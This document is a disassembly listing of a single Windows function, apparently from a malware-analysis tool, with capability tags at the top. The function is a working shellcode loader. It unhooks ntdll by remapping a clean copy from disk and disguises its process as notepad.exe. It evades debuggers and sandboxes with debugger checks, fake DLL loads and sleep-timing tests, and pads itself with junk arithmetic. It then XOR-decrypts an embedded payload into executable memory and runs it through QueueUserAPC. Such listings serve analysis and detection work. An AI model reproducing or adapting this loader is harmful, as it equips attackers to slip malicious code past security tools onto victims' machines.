Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x828
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x790], xmm6
mov dword [rbp + 0x7d0], ecx
mov qword [rbp + 0x7d8], rdx
call fcn.1400029f0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x720], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x718], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x710], rax
mov dword [rbp + 0x78c], 0xffffffff
mov ecx, 0x1a58
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x708], rax
add dword [rbp + 0x78c], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x78c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x708]
add rax, rdx
movsd xmm1, qword [0x140006610]
divsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x78c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x708]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x78c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x708]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x78c], 0x349
jle 0x1400014e5
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x780], rax
cmp qword [rbp + 0x780], 0
jne 0x140001649
movsd xmm0, qword [0x140006618]
movsd qword [rbp + 0x778], xmm0
movsd xmm0, qword [0x140006620]
movsd qword [rbp + 0x700], xmm0
jmp 0x140001607
movsd xmm0, qword [rbp + 0x700]
mov rax, qword [rbp + 0x778]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003e00
movq rax, xmm0
mov qword [rbp + 0x778], rax
movsd xmm0, qword [0x140006628]
comisd xmm0, xmmword [rbp + 0x778]
ja 0x1400015de
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x780], rax
cmp qword [rbp + 0x780], 0
je 0x140001c2b
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x590]
mov rax, qword [rbp + 0x710]
mov r10, qword [rbp + 0x780]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x6f8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x6f0], rax
mov rax, qword [rbp + 0x6f0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x6e8], rax
mov rax, qword [rbp + 0x6e8]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x6e0], rax
mov dword [rbp + 0x774], 0xffffffff
mov ecx, 0x4e0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6d8], rax
mov ecx, 0x4e0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6d0], rax
add dword [rbp + 0x774], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x774]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6d8]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x774]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6d8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x774]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x6d0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003a00
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x774], 0x9a
jle 0x140001775
mov rax, qword [rbp + 0x6f8]
mov qword [rbp + 0x6c8], rax
mov rax, qword [rbp + 0x6c8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x6f8]
add rax, rdx
mov qword [rbp + 0x6c0], rax
mov ecx, 0x2060
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6b8], rax
mov ecx, 0x2060
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6b0], rax
mov ecx, 0x2060
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6a8], rax
mov dword [rbp + 0x770], 0
jmp 0x1400019b2
mov dword [rbp + 0x76c], 0
jmp 0x14000199e
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x770]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
sub rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x6b8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x76c]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x770]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
sub rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x6b0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x76c]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x76c], 1
cmp dword [rbp + 0x76c], 0x1b
jle 0x1400018d7
add dword [rbp + 0x770], 1
cmp dword [rbp + 0x770], 0x49
jle 0x1400018c8
mov dword [rbp + 0x770], 0
jmp 0x140001a8f
mov dword [rbp + 0x76c], 0
jmp 0x140001a7b
mov eax, dword [rbp + 0x770]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
sub rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x6b8]
add rdx, rax
mov eax, dword [rbp + 0x76c]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x770]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
sub rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x6b0]
add rdx, rax
mov eax, dword [rbp + 0x76c]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x770]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
sub rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x6a8]
add rdx, rax
mulss xmm0, xmm1
mov eax, dword [rbp + 0x76c]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x76c], 1
cmp dword [rbp + 0x76c], 0x1b
jle 0x1400019dd
add dword [rbp + 0x770], 1
cmp dword [rbp + 0x770], 0x49
jle 0x1400019ce
mov rax, qword [rbp + 0x6b8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6b0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6a8]
mov rcx, rax
call sub.msvcrt.dll_free
mov word [rbp + 0x76a], 0
jmp 0x140001c13
mov rax, qword [rbp + 0x6c0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x6c0]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x76a]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x6a0]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001c02
mov dword [rbp + 0x558], 0
mov rax, qword [rbp + 0x6a0]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x6a0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x6f8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x558]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x6a0]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x6a0]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x6e0]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x6a0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x6f8]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x558]
mov rax, qword [rbp + 0x6a0]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x6a0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x6f8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x558]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x76a]
add eax, 1
mov word [rbp + 0x76a], ax
mov rax, qword [rbp + 0x6c0]
movzx eax, word [rax + 6]
cmp word [rbp + 0x76a], ax
jb 0x140001ad7
mov ecx, 0xae8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x698], rax
mov ecx, 0xae8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x690], rax
mov dword [rbp + 0x764], 0
jmp 0x140001ce6
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x764]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x698]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x764], 1
cmp dword [rbp + 0x764], 0x15c
jle 0x140001c5c
mov dword [rbp + 0x764], 0
jmp 0x140001d54
mov eax, dword [rbp + 0x764]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x698]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x764]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x690]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003ae0
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x764], 1
cmp dword [rbp + 0x764], 0x15c
jle 0x140001d02
pxor xmm0, xmm0
movss dword [rbp + 0x75c], xmm0
mov dword [rbp + 0x760], 0
jmp 0x140001df1
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x760]
movsd xmm0, qword [0x140006630]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movups xmm1, xmm0
mov eax, dword [0x140006638]
movd xmm0, eax
call fcn.1400039e0
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x760]
addsd xmm0, xmm0
movsd xmm2, qword [0x140006630]
subsd xmm0, xmm2
divsd xmm1, xmm0
pxor xmm0, xmm0
cvtss2sd xmm0, dword [rbp + 0x75c]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x75c], xmm0
add dword [rbp + 0x760], 1
cmp dword [rbp + 0x760], 0x185
jle 0x140001d78
movss xmm1, dword [rbp + 0x75c]
movss xmm0, dword [0x14000663c]
mulss xmm0, xmm1
movss dword [rbp + 0x75c], xmm0
mov dword [rbp + 0x55c], 0
mov dword [rbp + 0x758], 0xffffffff
mov ecx, 0x680
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x688], rax
add dword [rbp + 0x758], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006610]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x758]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x688]
add rax, rdx
movsd xmm1, qword [0x140006630]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x758]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x688]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x758]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x688]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x758], 0xce
jle 0x140001e42
mov rax, qword [rbp + 0x720]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x680], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x560]
lea rax, [rbp + 0x55c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x680]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x568]
add rax, 0x3c
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x678]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x678]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x670], rax
cmp qword [rbp + 0x670], 0
je 0x140001fd1
mov rax, qword [rbp + 0x670]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x668], rax
mov rax, qword [rbp + 0x668]
mov ecx, 0
call rax
mov dword [rbp + 0x754], eax
cmp dword [rbp + 0x754], 0xffffffff
je 0x140002926
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x660], rax
cmp qword [rbp + 0x660], 0
jne 0x140002926
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x658], rax
mov rax, qword [rbp + 0x658]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x650], rax
cmp qword [rbp + 0x650], 0
jne 0x140002926
mov dword [rbp + 0x554], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x648], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x554]
mov r8, qword [rbp + 0x648]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x554]
cmp eax, 1
je 0x140002926
mov ecx, 0x6be
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x6be
jne 0x140002926
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x640], rax
cmp qword [rbp + 0x640], 0
jne 0x140002926
lea rax, str.poydmlbiyzmwr.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x638], rax
cmp qword [rbp + 0x638], 0
jne 0x140002926
mov dword [rbp + 0x634], 0x1f9
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
call rax
mov dword [rbp + 0x624], eax
mov eax, dword [rbp + 0x634]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x628]
call rax
mov dword [rbp + 0x620], eax
mov eax, dword [rbp + 0x620]
sub eax, dword [rbp + 0x624]
cmp eax, 0x1c7
jbe 0x140002926
lea rax, str.udckpgvrakxkvizm.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x618], rax
cmp qword [rbp + 0x618], 0
jne 0x140002926
mov ecx, 0x670
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x670
jne 0x140002926
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
lea rax, [rbp + 0xa0]
lea rdx, [0x140006158]
mov ecx, 0x96
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
mov dword [rbp + 0x748], 0
mov dword [rbp + 0x614], 0x252
mov dword [rbp + 0x610], 0x129
mov eax, dword [rbp + 0x614]
add eax, 1
cdqe
shl rax, 2
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x608], rax
mov dword [rbp + 0x750], 0
jmp 0x1400022d7
mov eax, dword [rbp + 0x750]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x608]
add rdx, rax
mov eax, dword [rbp + 0x750]
mov dword [rdx], eax
add dword [rbp + 0x750], 1
mov eax, dword [rbp + 0x750]
cmp eax, dword [rbp + 0x610]
jl 0x1400022ae
mov dword [rbp + 0x750], 1
jmp 0x140002369
mov eax, dword [rbp + 0x750]
mov dword [rbp + 0x74c], eax
jmp 0x140002340
mov edx, dword [rbp + 0x750]
mov eax, dword [rbp + 0x74c]
add edx, eax
mov eax, dword [rbp + 0x750]
add eax, eax
add edx, eax
mov eax, dword [rbp + 0x74c]
add eax, edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x608]
add rax, rdx
mov dword [rax], 0
add dword [rbp + 0x74c], 1
mov eax, dword [rbp + 0x610]
sub eax, dword [rbp + 0x750]
mov edx, dword [rbp + 0x750]
add edx, edx
lea esi, [rdx + 1]
cdq
idiv esi
cmp dword [rbp + 0x74c], eax
jle 0x1400022ff
add dword [rbp + 0x750], 1
mov eax, dword [rbp + 0x750]
cmp eax, dword [rbp + 0x610]
jl 0x1400022f1
cmp dword [rbp + 0x614], 2
jle 0x1400023ad
mov eax, dword [rbp + 0x748]
lea edx, [rax + 1]
mov dword [rbp + 0x748], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x608]
add rax, rdx
mov dword [rax], 2
mov dword [rbp + 0x750], 1
jmp 0x140002411
mov eax, dword [rbp + 0x750]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x608]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x14000240a
mov eax, dword [rbp + 0x750]
lea ecx, [rax + rax]
mov eax, dword [rbp + 0x748]
lea edx, [rax + 1]
mov dword [rbp + 0x748], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x608]
add rax, rdx
lea edx, [rcx + 1]
mov dword [rax], edx
add dword [rbp + 0x750], 1
mov eax, dword [rbp + 0x750]
cmp eax, dword [rbp + 0x610]
jl 0x1400023b9
mov dword [rbp + 0x604], 2
mov dword [rbp + 0x744], 0
mov dword [rbp + 0x750], 0
jmp 0x14000246d
mov eax, dword [rbp + 0x750]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x608]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140002466
add dword [rbp + 0x744], 1
add dword [rbp + 0x750], 1
mov eax, dword [rbp + 0x750]
cmp eax, dword [rbp + 0x604]
jl 0x14000243f
mov rax, qword [rbp + 0x608]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x718]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5f8], rax
mov rax, qword [rbp + 0x718]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5f0], rax
mov rax, qword [rbp + 0x5f8]
mov r8d, 0
mov edx, 0x4b3
mov ecx, 0x40000
call rax
mov qword [rbp + 0x5e8], rax
mov rax, qword [rbp + 0x5e8]
mov r9, qword [rbp + 0x5f0]
mov r8d, 0x4b3
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x5e0], rax
mov rax, qword [rbp + 0x720]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5d8], rax
lea rdx, [rbp + 0xa0]
mov rax, qword [rbp + 0x5e0]
mov r9, qword [rbp + 0x5d8]
mov r8d, 0x4b3
mov rcx, rax
call r9
pxor xmm0, xmm0
movss dword [rbp + 0x73c], xmm0
mov dword [rbp + 0x740], 0
jmp 0x1400025e5
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x740]
movsd xmm0, qword [0x140006630]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movups xmm1, xmm0
mov eax, dword [0x140006638]
movd xmm0, eax
call fcn.1400039e0
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x740]
addsd xmm0, xmm0
movsd xmm2, qword [0x140006630]
subsd xmm0, xmm2
divsd xmm1, xmm0
pxor xmm0, xmm0
cvtss2sd xmm0, dword [rbp + 0x73c]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x73c], xmm0
add dword [rbp + 0x740], 1
cmp dword [rbp + 0x740], 0xe3
jle 0x14000256c
movss xmm1, dword [rbp + 0x73c]
movss xmm0, dword [0x14000663c]
mulss xmm0, xmm1
movss dword [rbp + 0x73c], xmm0
mov dword [rbp + 0x734], 0
mov dword [rbp + 0x730], 0
movabs rax, 0x26a7d87d56a25c2d
movabs rdx, 0x643e22d4195caab4
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0xd28c8711ed818f6
movabs rdx, 0x64dc611c9d60fce0
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0xcb48c4aab0639f0b
movabs rdx, 0xa1c71f681cb6532f
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x8cd073f77675b8bd
movabs rdx, 0x5eb83c3a04ad71de
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0xbf91fc7b39a748e
movabs rdx, 0x386112b6cb036f42
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
mov dword [rbp + 0x8f], 0xa0ad38
mov dword [rbp + 0x72c], 0xffffffff
add dword [rbp + 0x72c], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffff88888889
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x5d4], edx
mov edx, dword [rbp + 0x5d4]
imul edx, edx, 0x1e
sub eax, edx
mov dword [rbp + 0x5d4], eax
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006610]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x5d4]
movq xmm0, rax
call fcn.140003c90
movq rax, xmm0
mov qword [rbp + 0x5c8], rax
cmp dword [rbp + 0x72c], 0x17c
jle 0x1400026cb
movabs rax, 0x123ca43a998712d7
movabs rdx, 0xb30704b1f37b9cf
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0x2e8be7be861141c2
movabs rdx, 0xf1841771f9685494
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movabs rax, 0xdcf0f091a0811e4c
movabs rdx, 0x8c74cc87c8c750f4
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0x73649ab3aadfea8c
movabs rdx, 0x58fa64bb2c3e4a
mov qword [rbp + 0x2f], rax
mov qword [rbp + 0x37], rdx
mov dword [rbp + 0x738], 0
jmp 0x140002819
mov eax, dword [rbp + 0x738]
cdqe
movzx edx, byte [rbp + rax]
mov eax, dword [rbp + 0x734]
cdqe
movzx eax, byte [rbp + rax + 0x40]
xor edx, eax
mov eax, dword [rbp + 0x738]
cdqe
mov byte [rbp + rax - 0x40], dl
cmp dword [rbp + 0x734], 0x51
jne 0x14000280b
mov dword [rbp + 0x734], 0
jmp 0x140002812
add dword [rbp + 0x734], 1
add dword [rbp + 0x738], 1
mov eax, dword [rbp + 0x738]
cmp eax, 0x3d
jbe 0x1400027ce
mov dword [rbp + 0x738], 0
jmp 0x140002891
mov eax, dword [rbp + 0x738]
movsxd rdx, eax
mov rax, qword [rbp + 0x5e0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x730]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x738]
movsxd rdx, eax
mov rax, qword [rbp + 0x5e0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x730], 0x3d
jne 0x140002883
mov dword [rbp + 0x730], 0
jmp 0x14000288a
add dword [rbp + 0x730], 1
add dword [rbp + 0x738], 1
cmp dword [rbp + 0x738], 0x4b2
jle 0x140002830
mov rax, qword [rbp + 0x5e0]
mov qword [rbp + 0x5c0], rax
mov rax, qword [rbp + 0x718]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5b8], rax
mov rax, qword [rbp + 0x718]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5b0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x5c0]
mov r9, qword [rbp + 0x5b8]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x5b0]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x790]
add rsp, 0x828
pop rbx
pop rsi
pop rdi
pop rbp
ret